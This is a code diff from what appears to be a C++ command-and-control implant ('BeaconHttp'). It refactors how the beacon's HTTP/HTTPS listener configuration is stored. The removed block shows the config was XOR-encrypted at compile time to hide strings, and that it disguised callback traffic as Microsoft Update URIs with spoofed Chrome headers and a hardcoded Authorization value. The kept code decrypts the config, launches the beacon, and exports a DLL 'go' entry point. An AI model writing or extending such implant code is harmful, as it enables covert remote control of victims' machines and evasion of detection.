11#include " BeaconHttp.hpp"
22
3-
4- using namespace std ;
3+ #include " cryptDef.hpp"
54
65
7- // XOR encrypted at compile time, so don't appear in string
8- // size of the config contained between () must be set in the compileTimeXOR template function
9- constexpr std::string_view _BeaconHttpConfig_ = R"( {
10- "ListenerHttpConfig": [
11- {
12- "uri": [
13- "/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
14- "/MicrosoftUpdate/ShellEx/KB242742/admin.aspx",
15- "/MicrosoftUpdate/ShellEx/KB242742/download.aspx"
16- ],
17- "client": [
18- {
19- "headers": [
20- {
21- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
22- },
23- {
24- "Connection": "Keep-Alive"
25- },
26- {
27- "Content-Type": "text/plain;charset=UTF-8"
28- },
29- {
30- "Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
31- },
32- {
33- "Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
34- },
35- {
36- "Keep-Alive": "timeout=5, max=1000"
37- },
38- {
39- "Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
40- },
41- {
42- "Accept": "*/*"
43- },
44- {
45- "Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
46- },
47- {
48- "Sec-Ch-Ua-Platform": "Windows"
49- }
50- ]
51- }
52- ]
53- }
54- ],
55- "ListenerHttpsConfig": [
56- {
57- "uri": [
58- "/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
59- "/MicrosoftUpdate/ShellEx/KB242742/upload.aspx",
60- "/MicrosoftUpdate/ShellEx/KB242742/config.aspx"
61- ],
62- "client": [
63- {
64- "headers": [
65- {
66- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
67- },
68- {
69- "Connection": "Keep-Alive"
70- },
71- {
72- "Content-Type": "text/plain;charset=UTF-8"
73- },
74- {
75- "Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
76- },
77- {
78- "Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
79- },
80- {
81- "Keep-Alive": "timeout=5, max=1000"
82- },
83- {
84- "Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
85- },
86- {
87- "Accept": "*/*"
88- },
89- {
90- "Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
91- },
92- {
93- "Sec-Ch-Ua-Platform": "Windows"
94- }
95- ]
96- }
97- ]
98- }
99- ]
100- })" ;
101-
102- constexpr std::string_view keyConfig = " .CRT$XCL" ;
103-
104- // compile time encryption of http configuration
105- constexpr std::array<char , 3564 > _EncryptedBeaconHttpConfig_ = compileTimeXOR<3564 , 8 >(_BeaconHttpConfig_, keyConfig);
6+ using namespace std ;
1067
1078
1089int main (int argc, char * argv[])
@@ -125,10 +26,9 @@ int main(int argc, char* argv[])
12526 https=false ;
12627 }
12728
128- // decrypt HttpConfig
12929 std::string configDecrypt (std::begin (_EncryptedBeaconHttpConfig_), std::end (_EncryptedBeaconHttpConfig_));
130- std::string key ( keyConfig);
131- XOR (configDecrypt, key );
30+ std::string keyConfig ( std::begin (_KeyConfig_), std::end (_KeyConfig_) );
31+ XOR (configDecrypt, keyConfig );
13232
13333 std::unique_ptr<Beacon> beacon;
13434 beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
@@ -171,10 +71,9 @@ extern "C" __declspec(dllexport) int go(PCHAR argv)
17171 if (sHttps ==" https" )
17272 https=true ;
17373
174- // decrypt HttpConfig
175- std::string configDecrypt (std::begin (_EncryptedBeaconHttpConfig_), std::end (_EncryptedBeaconHttpConfig_));
176- std::string key (keyConfig);
177- XOR (configDecrypt, key);
74+ std::string configDecrypt (std::begin (_EncryptedBeaconHttpConfig_), std::end (_EncryptedBeaconHttpConfig_));
75+ std::string keyConfig (std::begin (_KeyConfig_), std::end (_KeyConfig_));
76+ XOR (configDecrypt, keyConfig);
17877
17978 std::unique_ptr<Beacon> beacon;
18079 beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
0 commit comments